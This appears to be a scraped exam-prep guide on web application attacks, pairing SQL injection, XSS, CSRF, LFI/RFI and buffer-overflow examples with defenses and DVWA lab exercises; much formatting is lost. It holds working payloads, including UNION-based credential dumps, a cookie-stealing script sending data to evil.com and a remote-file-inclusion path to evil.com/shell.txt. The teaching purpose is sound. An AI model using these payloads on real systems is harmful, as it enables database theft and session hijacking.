By Fatskills Exam Guides Team — the exam nerds behind 28,500+ quizzes and 2.1M practice questions across 500+ global exams.
(SQLi, XSS, CSRF, Buffer Overflow, LFI/RFI)
You’re a security analyst at a fintech startup. Your team just deployed a new web app for loan applications. A week later, logs show someone dumped the entire customer database—names, SSNs, account balances—via a single malicious input field. This is an SQL injection (SQLi) attack in action.
Application attacks exploit flaws in software design, input validation, or session management. They’re the #1 cause of data breaches (OWASP Top 10). If you ignore them: - Your app leaks data (GDPR fines, lawsuits, brand damage). - Attackers hijack user sessions (CSRF, XSS). - Your server gets pwned (buffer overflows, LFI/RFI leading to RCE).
Superpower you gain: You’ll spot vulnerable code, write secure queries, and harden apps before they hit production.
"SELECT * FROM users WHERE username = '" + user_input + "'"
<?php echo $_GET['input']; ?>
?page=../../../../etc/passwd
?page=http://evil.com/shell.txt
include($_GET['page'] . '.php');
bash git clone https://github.com/digininja/DVWA.git cd DVWA docker-compose up -d
http://localhost:8080
admin:password
'
sql ' OR '1'='1
sql ' UNION SELECT 1,table_name FROM information_schema.tables -- -
users
sql ' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' -- -
sql ' UNION SELECT user,password FROM users -- -
PHP (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $user_input]); $user = $stmt->fetch();
Python (SQLite):
cursor.execute("SELECT * FROM users WHERE username = ?", (user_input,))
SELECT
UNION
--
apache SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Detected'"
bash tail -f /var/log/modsec_audit.log
DROP TABLE
500 Internal Server Error
SQL syntax error near '1'=1'
npm audit
snyk
trivy
UNION SELECT
OR 1=1
htmlspecialchars()
mysqli_real_escape_string()
' OR 1=1 --
Trap: "Input validation" is not enough—you need prepared statements.
Scenario: "A user clicks a link in an email and unknowingly transfers funds. What’s the attack?"
Trap: "XSS" is wrong—XSS executes scripts in the victim’s browser, but CSRF forges requests.
Scenario: "An app includes files using include($_GET['page'] . '.php'). What’s the risk?"
include($_GET['page'] . '.php')
strncpy
allow_url_include
Challenge: Exploit a reflected XSS vulnerability in DVWA.1. Navigate to XSS (Reflected) in DVWA.2. Enter <script>alert('XSS')</script> in the input field.3. Why it works: The app echoes user input without escaping HTML/JS.
<script>alert('XSS')</script>
Solution:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
sql ' OR 1=1 -- ' UNION SELECT 1,2,3 --
`` - Defense:htmlspecialchars()`, Content Security Policy (CSP). - Trap: DOM-based XSS doesn’t hit the server—sanitize client-side too.
`` - Defense:
html <img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">
SameSite=Lax
A
python -c 'print("A"*1000)'
strcpy
url ?page=../../../../etc/passwd (LFI) ?page=http://evil.com/shell.txt (RFI)
allow_url_include=On
Final Tip: Application attacks are about exploiting trust. Never trust user input, and always validate, sanitize, and escape. ?
Join 4M+ learners. Unlock unlimited quizzes, wrong-answer tracking, flashcards + reminders, study guides, and 1-on-1 challenges.